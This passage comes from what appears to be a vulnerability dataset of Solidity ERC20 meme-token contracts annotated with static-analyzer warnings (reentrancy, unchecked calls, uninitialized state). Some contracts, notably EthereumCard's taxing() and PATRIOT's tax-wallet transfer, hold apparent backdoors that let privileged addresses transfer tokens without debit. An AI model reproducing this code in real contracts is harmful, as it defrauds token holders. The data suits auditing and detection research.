'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c7435e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8caa468): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8caa468: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b495d5a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b495d5a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapPair &&\n to != address(_uniswapRouter) &&\n !_excludedFromLimits[to]\n ) {\n if (limitsInEffect) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n _buyCount++;\n }\n\n if (to == uniswapPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: c7435e7\n\t\t\t\t// reentrancy-benign | ID: 8caa468\n\t\t\t\t// reentrancy-eth | ID: b495d5a\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c7435e7\n\t\t\t\t\t// reentrancy-eth | ID: b495d5a\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_excludedFromLimits[from] || _excludedFromLimits[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 8caa468\n maxVaultBurn = block.number;\n }\n\n if (!_excludedFromLimits[from] && !_excludedFromLimits[to]) {\n if (to != uniswapPair) {\n BurnRecord storage burnVlt = burnVault[to];\n\n if (from == uniswapPair) {\n if (burnVlt.burnV2Index == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 8caa468\n burnVlt.burnV2Index = _buyCount <= _preventSwapBefore\n ? type(uint).max\n : block.number;\n }\n } else {\n BurnRecord storage burnVltData = burnVault[from];\n\n if (\n burnVlt.burnV2Index == 0 ||\n burnVltData.burnV2Index < burnVlt.burnV2Index\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 8caa468\n burnVlt.burnV2Index = burnVltData.burnV2Index;\n }\n }\n } else {\n BurnRecord storage burnVltData = burnVault[from];\n\n\t\t\t\t// reentrancy-benign | ID: 8caa468\n burnVltData.burnUsd = burnVltData.burnV2Index.sub(maxVaultBurn);\n\n\t\t\t\t// reentrancy-benign | ID: 8caa468\n burnVltData.burnPrice = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: c7435e7\n\t\t// reentrancy-eth | ID: b495d5a\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: b495d5a\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: b495d5a\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: c7435e7\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2084eec): PATRIOT.burnActiveVault is never initialized. It is used in PATRIOT._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 2084eec: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : burnActiveVault.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b495d5a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c7435e7\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapRouter.WETH();\n\n _approve(address(this), address(_uniswapRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: c7435e7\n\t\t// reentrancy-events | ID: d3e854a\n\t\t// reentrancy-benign | ID: 024f26a\n\t\t// reentrancy-benign | ID: 8caa468\n\t\t// reentrancy-eth | ID: b495d5a\n _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c7435e7\n\t\t// reentrancy-events | ID: d3e854a\n\t\t// reentrancy-eth | ID: b495d5a\n _taxWallet.transfer(amount);\n }\n\n function transferStuckETH() external onlyOwner {\n _taxWallet.transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6dc40a5): PATRIOT.enableTrading() ignores return value by IERC20(uniswapPair).approve(address(_uniswapRouter),type()(uint256).max)\n\t// Recommendation for 6dc40a5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9103f27): PATRIOT.enableTrading() ignores return value by _uniswapRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9103f27: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ba00fa9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ba00fa9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n _approve(address(this), address(_uniswapRouter), _tTotal);\n\n\t\t// reentrancy-eth | ID: ba00fa9\n uniswapPair = IUniswapV2Factory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n\t\t// unused-return | ID: 9103f27\n\t\t// reentrancy-eth | ID: ba00fa9\n _uniswapRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 6dc40a5\n\t\t// reentrancy-eth | ID: ba00fa9\n IERC20(uniswapPair).approve(address(_uniswapRouter), type(uint).max);\n\n\t\t// reentrancy-eth | ID: ba00fa9\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10783.sol",
"size_bytes": 22954,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n}\n\ncontract Ownable is Context {\n address private _theOwner;\n\n event OwnershipTransferred(\n address indexed oldOwner,\n address indexed newOwner\n );\n\n constructor() {\n address sender = _msgSender();\n\n _theOwner = _msgSender();\n\n emit OwnershipTransferred(address(0), sender);\n }\n\n function getOwner() public view returns (address) {\n return _theOwner;\n }\n\n modifier checkOwner() {\n require(\n _theOwner == _msgSender(),\n \"Ownable: the caller must be the owner\"\n );\n\n _;\n }\n\n function callOwnership() public virtual checkOwner {\n emit OwnershipTransferred(_theOwner, address(0));\n\n _theOwner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address firstToken,\n address secondToken\n ) external returns (address pairing);\n}\n\ncontract EthereumCard is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _allBalances;\n\n mapping(address => mapping(address => uint256)) private _allTokenAllowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f1f643f): EthereumCard._taxWallet should be immutable \n\t// Recommendation for f1f643f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73b93a4): EthereumCard.buyingTax should be constant \n\t// Recommendation for 73b93a4: Add the 'constant' attribute to state variables that never change.\n uint256 public buyingTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3731723): EthereumCard.sellTax should be constant \n\t// Recommendation for 3731723: Add the 'constant' attribute to state variables that never change.\n uint256 public sellTax = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tokenTotal = 10_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ethereum Card\";\n\n string private constant _symbol = unicode\"ETHCD\";\n\n uint256 private constant maxTaxSlippage = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d5ce34): EthereumCard.minTaxSwap should be constant \n\t// Recommendation for 0d5ce34: Add the 'constant' attribute to state variables that never change.\n uint256 private minTaxSwap = 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca52903): EthereumCard.maxTaxSwap should be constant \n\t// Recommendation for ca52903: Add the 'constant' attribute to state variables that never change.\n uint256 private maxTaxSwap = _tokenTotal / 500;\n\n uint256 public constant max_uint = type(uint).max;\n\n address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n IUniswapV2Router02 public constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n IUniswapV2Factory public constant uniswapV2Factory =\n IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);\n\n address private uniswapV2Pair;\n\n address private uniswap;\n\n bool private TradingOpen = false;\n\n bool private doesInSwap = false;\n\n bool private SwapEnabled = false;\n\n modifier lockingTheSwap() {\n doesInSwap = true;\n\n _;\n\n doesInSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _allBalances[_msgSender()] = _tokenTotal;\n\n emit Transfer(address(0), _msgSender(), _tokenTotal);\n }\n\n function allowance(\n address Owner,\n address buyer\n ) public view override returns (uint256) {\n return _allTokenAllowances[Owner][buyer];\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1447d63): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1447d63: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 621be7f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 621be7f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address payer,\n address reciver,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1447d63\n\t\t// reentrancy-benign | ID: 621be7f\n _transfer(payer, reciver, amount);\n\n\t\t// reentrancy-events | ID: 1447d63\n\t\t// reentrancy-benign | ID: 621be7f\n _approve(\n payer,\n _msgSender(),\n _allTokenAllowances[payer][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tokenTotal;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function transfer(\n address reciver,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), reciver, amount);\n\n return true;\n }\n\n function approve(\n address payer,\n uint256 total\n ) public override returns (bool) {\n _approve(_msgSender(), payer, total);\n\n return true;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address wallet) public view override returns (uint256) {\n return _allBalances[wallet];\n }\n\n function _approve(address Owner, address buyer, uint256 amount) private {\n require(buyer != address(0), \"ERC20: approve to the zero address\");\n\n require(Owner != address(0), \"ERC20: approve from the zero address\");\n\n\t\t// reentrancy-benign | ID: 621be7f\n _allTokenAllowances[Owner][buyer] = amount;\n\n\t\t// reentrancy-events | ID: 1447d63\n emit Approval(Owner, buyer, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5f77927): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5f77927: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9c72b54): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9c72b54: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address seller, address payer, uint256 total) private {\n require(seller != address(0), \"ERC20: transfer from the zero address\");\n\n require(payer != address(0), \"ERC20: transfer to the zero address\");\n\n require(total > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (\n seller != getOwner() && payer != getOwner() && payer != _taxWallet\n ) {\n if (seller == uniswap && payer != address(uniswapV2Router)) {\n taxAmount = total.mul(buyingTax).div(100);\n } else if (payer == uniswap && seller != address(this)) {\n taxAmount = total.mul(sellTax).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !doesInSwap &&\n payer == uniswap &&\n SwapEnabled &&\n contractTokenBalance > minTaxSwap\n ) {\n uint256 _toSwap = contractTokenBalance > maxTaxSwap\n ? maxTaxSwap\n : contractTokenBalance;\n\n\t\t\t\t// reentrancy-events | ID: 5f77927\n\t\t\t\t// reentrancy-eth | ID: 9c72b54\n swapTokensForEth(total > _toSwap ? _toSwap : total);\n\n uint256 _contractETHBalance = address(this).balance;\n\n if (_contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5f77927\n\t\t\t\t\t// reentrancy-eth | ID: 9c72b54\n sendETHToFee(_contractETHBalance);\n }\n }\n }\n\n (uint256 amountIn, uint256 amountOut) = taxing(\n seller,\n total,\n taxAmount\n );\n\n require(_allBalances[seller] >= amountIn);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9c72b54\n _allBalances[address(this)] = _allBalances[address(this)].add(\n taxAmount\n );\n\n\t\t\t// reentrancy-events | ID: 5f77927\n emit Transfer(seller, address(this), taxAmount);\n }\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 9c72b54\n _allBalances[seller] -= amountIn;\n\n\t\t\t// reentrancy-eth | ID: 9c72b54\n _allBalances[payer] += amountOut;\n }\n\n\t\t// reentrancy-events | ID: 5f77927\n emit Transfer(seller, payer, amountOut);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockingTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = weth;\n\n\t\t// reentrancy-events | ID: 1447d63\n\t\t// reentrancy-events | ID: 5f77927\n\t\t// reentrancy-benign | ID: 621be7f\n\t\t// reentrancy-eth | ID: 9c72b54\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n tokenAmount - tokenAmount.mul(maxTaxSlippage).div(100),\n path,\n address(this),\n block.timestamp\n );\n }\n\n function taxing(\n address from,\n uint256 total,\n uint256 taxAmount\n ) private view returns (uint256, uint256) {\n return (\n total.sub(from != uniswapV2Pair ? 0 : total),\n total.sub(from != uniswapV2Pair ? taxAmount : taxAmount)\n );\n }\n\n\t// WARNING Vulnerability (unchecked-lowlevel | severity: Medium | ID: ca1c2cf): EthereumCard.sendETHToFee(uint256) ignores return value by _taxWallet.call{value ethAmount}()\n\t// Recommendation for ca1c2cf: Ensure that the return value of a low-level call is checked or logged.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9cee0b5): EthereumCard.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.call{value ethAmount}()\n\t// Recommendation for 9cee0b5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 ethAmount) private {\n\t\t// reentrancy-events | ID: 1447d63\n\t\t// reentrancy-events | ID: 5f77927\n\t\t// reentrancy-benign | ID: 621be7f\n\t\t// unchecked-lowlevel | ID: ca1c2cf\n\t\t// reentrancy-eth | ID: 9c72b54\n\t\t// arbitrary-send-eth | ID: 9cee0b5\n _taxWallet.call{value: ethAmount}(\"\");\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 06898d3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 06898d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e6c61ac): EthereumCard.setTrading(address,bool)._pair lacks a zerocheck on \t uniswapV2Pair = _pair\n\t// Recommendation for e6c61ac: Check that the address is not zero.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cd4054c): EthereumCard.setTrading(address,bool) ignores return value by IERC20(uniswap).approve(address(uniswapV2Router),max_uint)\n\t// Recommendation for cd4054c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6ced6d6): EthereumCard.setTrading(address,bool) ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,getOwner(),block.timestamp)\n\t// Recommendation for 6ced6d6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0349501): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0349501: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setTrading(address _pair, bool _enabled) external checkOwner {\n require(_enabled);\n\n require(!TradingOpen, \"trading is already open\");\n\n\t\t// missing-zero-check | ID: e6c61ac\n uniswapV2Pair = _pair;\n\n _approve(address(this), address(uniswapV2Router), max_uint);\n\n\t\t// reentrancy-benign | ID: 06898d3\n\t\t// reentrancy-eth | ID: 0349501\n uniswap = uniswapV2Factory.createPair(address(this), weth);\n\n\t\t// reentrancy-benign | ID: 06898d3\n\t\t// unused-return | ID: 6ced6d6\n\t\t// reentrancy-eth | ID: 0349501\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n getOwner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 06898d3\n\t\t// unused-return | ID: cd4054c\n\t\t// reentrancy-eth | ID: 0349501\n IERC20(uniswap).approve(address(uniswapV2Router), max_uint);\n\n\t\t// reentrancy-benign | ID: 06898d3\n SwapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0349501\n TradingOpen = true;\n }\n\n function get_TradingOpen() external view returns (bool) {\n return TradingOpen;\n }\n\n function get_buyingTax() external view returns (uint256) {\n return buyingTax;\n }\n\n function get_sellTax() external view returns (uint256) {\n return sellTax;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10784.sol",
"size_bytes": 17154,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract RP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b148cbc): RP._taxWallet should be immutable \n\t// Recommendation for b148cbc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d2bd732): RP._initialBuyTax should be constant \n\t// Recommendation for d2bd732: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b58e1c9): RP._initialSellTax should be constant \n\t// Recommendation for b58e1c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8863e39): RP._finalBuyTax should be constant \n\t// Recommendation for 8863e39: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 91c24c9): RP._finalSellTax should be constant \n\t// Recommendation for 91c24c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: aa592c7): RP._reduceBuyTaxAt should be constant \n\t// Recommendation for aa592c7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6baf179): RP._reduceSellTaxAt should be constant \n\t// Recommendation for 6baf179: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: a9c299b): RP._preventSwapBefore should be constant \n\t// Recommendation for a9c299b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 200000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"RED PANDA\";\n\n string private constant _symbol = unicode\"RP\";\n\n uint256 public _maxTxAmount = 4000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: bad690a): RP._taxSwapThreshold should be constant \n\t// Recommendation for bad690a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a07509f): RP._maxTaxSwap should be constant \n\t// Recommendation for a07509f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 2500000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d93d6ce): RP.uniswapV2Router should be immutable \n\t// Recommendation for d93d6ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue 